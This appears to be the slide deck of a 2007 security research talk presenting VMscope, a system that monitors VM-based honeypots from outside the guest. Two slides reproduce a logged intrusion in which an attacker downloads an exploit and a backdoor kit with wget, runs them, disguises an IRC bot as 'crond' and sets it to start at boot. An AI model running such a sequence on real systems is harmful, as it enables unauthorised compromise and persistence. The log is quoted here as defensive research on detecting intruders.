1. “Out-of-the-Box” Monitoring of VM-based High-Interaction Honeypots Xuxian Jiang, Xinyuan Wang Department of Information and Software Engineering George Mason University {xjiang, xwangc}@gmu.edu RAID’07, Queensland, Australia, Sep 4, 2007

2. Outline  Motivation  VMscope  Enabling “Out-of-the-Box” Honeypot Monitoring  Evaluation  Related Work  Conclusion

3. Motivation  Promise of honeypots  Providing insights into intruders’ motivations, tactics, and tools  Highly concentrated datasets w/ low noise  Low false-positive and false negative rate  Discovering unknown vulnerabilities/exploitations  Example 1: HoneyMonkey finds first zero-day exploit [Wang+ NDSS’06]  Example 2: CERT advisory CA-2002-01 (solaris CDE subprocess control daemon – dtspcd)

4. Motivation  Honeypot monitoring  The essential component in any honeypot deployment  Two main approaches (state of the art)  External honeypot monitoring  e.g., tcpdump, ethereal, etc  Internal honeypot monitoring  e.g., syslog, sebek, etc Internal External Tamper- resistance Deep Inspection Low High Yes No

5. Motivation: A Real-World Example  Sebek – the de-facto high-interaction honeypot monitoring tool, which performs three basic tasks  Observe system call activities  Record Data  Export Data  However, it has been demonstrated that it can be detected, disabled, or completely evaded by NoSEBrEaK [Holz+, IAW’04/ BlackHat’04/Defcon 12]

6. Focus of This Talk  “Out-of-the-Box” honeypot monitoring  VMscope Internal External Deep Inspection Low High Yes No Tamper- resistance

7.  Key idea: leveraging and extending virtualization to enable tamper-resistant, deep inspection of VM-based high- interaction honeypots  Existing tools only achieve one of them, but not both Apache FirefoxIE Logger Guest OS Virtual Machine Monitor (VMM) Virtual Machine … Log VMscope Tamper-resistant Logging: VMscope is deployed completely “out-of-the-box” Tamper-resistant Logging: VMscope is deployed completely “out-of-the-box” Deep Inspection: VMscope intercepts and interprets all system call events

8. Apache FirefoxIE Guest OS Virtual Machine … Design (Sebek vs. VMscope)  Tamper-resistant logging:  In VMscope, log is not collected from inside the VM that is being monitored Logger Apache FirefoxIE OS Kernel Machine … Sebek Logger Virtual Machine Monitor (VMM) VMscope Logger

9. Design  Deep Inspection  What we can observe?  Low-level events  Privileged instructions, Interrupts, I/O accesses …  What we want to observe?  High-level events w/ semantic info  Especially system calls. Virtual Machine Monitor (VMM) Guest OS Semantic Gap

10. Bridging the Semantic Gap  Idea: leveraging the semantics associated with system call instructions  e.g., invoking “exit” system call: xorl %ebx, %ebx /* ebx = 0 */ mov $0x1, %eax /* eax = 1 */ int $0x80 /* interrupt*/  Also works when interpreting the system call return values  Other related issues  The current process  e.g., PID, UID, process name, etc  Guest memory addressing

11. Identifying the Current Process  The Linux kernel maintains a process-specific kernel stack (ESP)  ESP  struct task_struct in Linux 2.4  ESP  struct thread_info in Linux 2.6  The Windows kernel similarly maintains a data structure, i.e., KTHREAD, for each kernel thread  struct KTHREAD  struct EPROCESS  Works for Windows 2000/XP/2003, but with varing definitions, though

12. Guest Memory Addressing  Inside the VM, the hardware automates the translation process  Guest virtual -> guest physical  Outside the VM, we need to emulate the translation process  CR3  page directory  page table  guest physical

13. Outline  Motivation  VMscope  “Out-of-the-Box” Honeypot Monitoring  Evaluation  Related Work  Conclusion

14. Implementation  A prototype has been implemented on top of QEMU and VMware  2800+ LOCs (in C)  Supporting both Linux VMs and Windows VMs (in progress)  Demo (3.5mins)  http://www.ise.gmu.edu/~xjiang/vmscope/vmscope.swf http://www.ise.gmu.edu/~xjiang/vmscope/vmscope.swf

15. Evaluation  Deep Inspection  Apache normal runs  Apache under infections (by Slapper worms)  Honeypot incidents  Tamper-resistance  A comparative study between Sebek and VMscope  NoSEBrEaK + adore_ng (a kernel rootkit)

16. Deep Inspection – Apache  In response to a simple web request

17. Deep Inspection – A Honeypot Incident  Two vulnerabilities  Vul 1: Apache (CERT® CA-2002-17)  Vul 2: Ptrace (CERT® VU-6288429)  Deployed at 23:00pm, 01/26/2007, compromised 3 hours later PID 1562 ( sh)[sys_execve 11]: bash -i... PID 1572 ( bash)[sys_execve 11]: uname -a PID 1573 ( bash)[sys_execve 11]: id PID 1574 ( bash)[sys_execve 11]: w... PID 1632 ( bash)[sys_execve 11]: ls PID 1633 ( bash)[sys_execve 11]: wget xxxxxxx.xx.ro/soft/expl PID 1634 ( bash)[sys_execve 11]: chmod +x expl PID 1635 ( bash)[sys_execve 11]:./expl... 1. Gaining a regular account: apache 2. Escalating to the root privilege

18. Deep Inspection – A Honeypot Incident PID 1674 ( bash)[sys_execve 11]: wget xxxxxxx.xx.ro/soft/naky.tgz PID 1676 ( bash)[sys_execve 11]: tar -zxvf naky.tgz PID 1679 ( bash)[sys_execve 11]: chmod +x * PID 1680 ( bash)[sys_execve 11]:./install... PID 1882 ( bash)[sys_execve 11]: mkdir ". " PID 1883 ( bash)[sys_execve 11]: wget www.xxxxxxxx.org/vulturul/bnc.tgz PID 1886 ( bash)[sys_execve 11]: tar xvfz bnc.tgz PID 1888 ( bash)[sys_execve 11]: rm -rf bnc.tgz PID 1889 ( bash)[sys_execve 11]: mv psybnc crond PID 1892 ( bash)[sys_execve 11]: crond PID 1894 ( bash)[sys_execve 11]: pico /etc/rc.d/rc.local 3. Installing a set of backdoors 4. Installing an IRC bot that will auto-start after machine reboot

19. Tamper-resistance  Demo Clip (2.5 minutes):  http://www.ise.gmu.edu/~xjiang/vmscope/sebek.swf

20. Performance Evaluation  Evaluation Environment  Dell PowerEdge server 2950 running Fedora Core 5 w/ a 3.73 GHz Xeon and 4GB RAM  Benchmark Applications

21. Related Work  Honeypot monitoring  External honeypot monitoring (e.g., tcpdump)  Ineffective when traffic is encrypted  Internal honeypot monitoring (e.g., Sebek)  Could be potentially detected, disabled and evaded  Other virtualization-based efforts  Xebek / VMM-based sensors  Not completely “out-of-the-box” Based on para-virtualization, which requires modifying the guest OS kernels Some logging components are still running inside the guest OS

22. Internal External Deep Inspection Low High Yes No Tamper- resistance Conclusions  A new approach to monitoring VM-based high- interaction honeypots – VMscope

23. Thank you!